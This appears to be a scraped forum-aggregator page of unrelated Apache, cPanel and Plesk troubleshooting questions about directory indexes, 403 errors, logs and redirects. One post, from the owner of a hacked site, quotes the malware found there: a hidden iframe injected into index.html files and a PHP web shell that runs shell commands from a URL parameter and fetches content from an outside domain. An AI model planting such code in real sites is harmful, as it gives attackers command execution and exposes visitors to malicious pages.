i have apache 2 and centos with plesk . when i see my apache error log it shows me :
[Fri Dec 19 05:56:35 2008] [error] [client ::1] Directory index forbidden by Options directive: /var/
www/html/
How to enable in Plesk 12 directory index ( view and/or listening and/or browsable )...
View 5 Replies View RelatedI was checking my error_log today and found thousands of 404 errors for these 2 files:
/flashtalking/ftlocal.html
/doubleclick/DARTIframe.html
I assume they are file requests made from ads on the site.
Right now I've just added those directories and files to appease the error logs, but can I fake their existence somehow without having to clutter up my file structure?
Why this error might have started to appear? I am fairly new to apache and was trying to harden it up.
I am use CentOS:
Server version: Apache/2.2.25 (Unix)
Server built: Oct 7 2013 17:21:18
Cpanel::Easy::Apache v3.22.14 rev9999
I was trying to add a group to control access to specific groups to enforce some security:
chown -R root:root /usr/local/apache/bin
chmod -R 770 /usr/local/apache/bin
chown -R root:root /usr/local/apache/conf
chmod -R 770 /usr/local/apache/conf
groupadd apacheadmin
groupadd apache
useradd -d /usr/local/apache/htdocs -g apache -s /bin/false apache
I think this is a permission issue.
We have many intranet document what linked on our intranet site. We use "apache builed in" directory listing to handle documents on browser, and make accessable to users. Because this not so user friendly we try to use a template (h5ai-[URL] ....) for mod_autoindex.
Unfortunatelly if file or folder name contains special characters (like é,á,ű,ő,ú,ü,ö,ó) than get Access Forbidden - Error 403. If change the folder name, than its ok.
I use xampp. how to solve this.
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
how to display the time and date of a file that was added to an Apache file directory on a cPanel server?
It used display the time and date back in the 1.3 and 2.0 days, but it doesn't on the 2.2 versions of Apache.
I've been developing websites using Apache on various Ubuntu laptops over the years. I just set up a new laptop with Apache and it worked fine. If I went to localhost in my browser then it showed the default page. So far, so good.
I then added a file to sites-available to add wildcard virtual hosts. This lets me use convenient urls while developing sites on my laptop. Once I enabled this site, every url that resolved to localhost became 403 Forbidden, including urls that should return 404. Here is an example entry from other_vhosts_access.log...
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
View 1 Replies View RelatedI was using Apache's <Directory> directive to modify the way the default indexes look.
I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.
Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png
IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>
It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files
I get many GET requests that have auto-index like sort commands attached.
View 6 Replies View RelatedWe are getting 403 for bidden error when accessing from web clients.
Here are my config files:
httpd.conf & httpd-ssl.conf files:
1) [URL] ....
2) [URL] ....
Any changes we have to make in our configuration files.
I've got a dedicated with Centos 4.x, WHM / Cpanel. I have problem when create new account, this is error:
Setting up Mail & Local Domains...localdomains...valiases ...vdomainaliases...vfilters......Done
Configuring DNS...Bind reconfiguring on server using rndc
Error reconfiguring bind on server: rndc: error: /etc/rndc.key:7: 'options' redefined near 'options'
rndc: could not load rndc configuration
My issue is with my code I have it rewwrites my addon domains to the main domain. I have a addon domain exclusion line. But each time I add a domain I have to go in and edit the htaccess. I foresee lots of addon domains in my future.
View 2 Replies View RelatedI am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
So I have a script running on my apache that catalogs pictures and clips. All the actual video files are located on a separate drive which is mounted in to a folder in my site. I've set apache as the owner and have the correct permissions on the mounted folder but I'm getting Forbidden errors accessing files even when on html file in the mounted folder.
I know it's a permissions issue at the disk or mounting level. The way I mount is by using this command:
mount -t ext4 /dev/sdc /var/www/html/media
since i take server i got a lot of errors on my apche logs when i post this command on my shell:-
Code:
tail -f /usr/local/apache/logs/error_log
will coming a lot & fast error and not stop until i stop the apache:-
Code:
[Fri May 29 11:37:52 2009] [error] [client 77.167.228.165] File does not exist: /usr/local/apache/htdocs/40E80014354C4C30365047322020202020202020202020206C0000004D6600000001760000005CEB000530E1E8EEF4
[Fri May 29 11:37:52 2009] [error] [client 89.215.36.123] File does not exist: /usr/local/apache/htdocs/40E80014202020202020465032443031324B3842364842456C000000446600000001760000005CEB000530797F848A
[Fri May 29 11:37:52 2009] [error] [client 93.185.179.132] File does not exist: /usr/local/apache/htdocs/40E800006C000001596600000001760000005CEB0005307587A8B4
every thing is ok but i need to remove this error and i can't under stand from where comming ! "/usr/local/apache/htdocs"
I'm sure this question has been asked before, but I'm looking for a nice and simply way of breaking up log files into smaller chunks.
I've been running apache2 on a VPS for the past few months and one of the access.log files is now 700mb big... bit of a waste of space. I'm currently just doing:
CustomLog /var/www/logs/domain.com/access.log combined
ErrorLog /var/www/logs/domain.com/error.log
In my apache config.
Is there any easy way of telling apache to just keep the last week or months worth of logs?
I use linux server with Cpanel control panel.
default default apache logs folder is in /usr/local/apache/logs/error_log
I want to monitor errors . How can I have an error log file for each individual domain?
How can I extract a list of visitor ip addresses from apache logs for a cpanel account?
are there any tools that will do a whois lookup for all the IP's?
I've just taken a look at the raw apache logs on my cpanel machine here:-
/usr/local/cpanel/logs/access_log
And there are many hundreds of these:-
127.0.0.1 - - [06/03/2008:21:55:22 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:21:55:22 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:03:42 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:03:42 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:12:02 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:12:02 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:20:22 -0000] "GET / HTTP/1." 401 0 "" ""
127.0.0.1 - - [06/03/2008:22:20:22 -0000] "GET / HTTP/1." 401 0 "" ""
what is happening to my server to generate these log entries?
I suspect that somebody is trying to do SQL injections on one of my websites. Is the POST information that is send using forms logged anywhere so I can read it in the same way I can read the GET requests in Apache logs?
View 6 Replies View RelatedWhich method do you prefer for centralizing your logs: file monitoring or Pipe to Logger?
View 4 Replies View RelatedSometimes when I try to restart Apache 2.4 using the supplied ApacheMonitor.exe I get this error. Then, I have to "taskkill /f /im httpd.exe" or wait like 30 sec before trying to start Apache again.
View 1 Replies View RelatedI have configure my Apache to create rotated logs for every periodic time. It worked fine with my local PC, but when it is being configured on to a server system, the actual error.log file is not being update, only the rotated logs are created. If i remove the Error Log command from httpd.conf for Error Log Rotation, again it works fine as usual.
View 1 Replies View RelatedI need to disable apache access logs. I commented out the access log path in /etc/httpd/conf/httpd.conf and restarted the server but it's still logging access.
View 3 Replies View RelatedI'm trying to configure an custom access_log file for an custom file called "extra.php"
How I can make an log file that's log only "extra.php" ....
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
Is it something wrong with httpd.conf or what?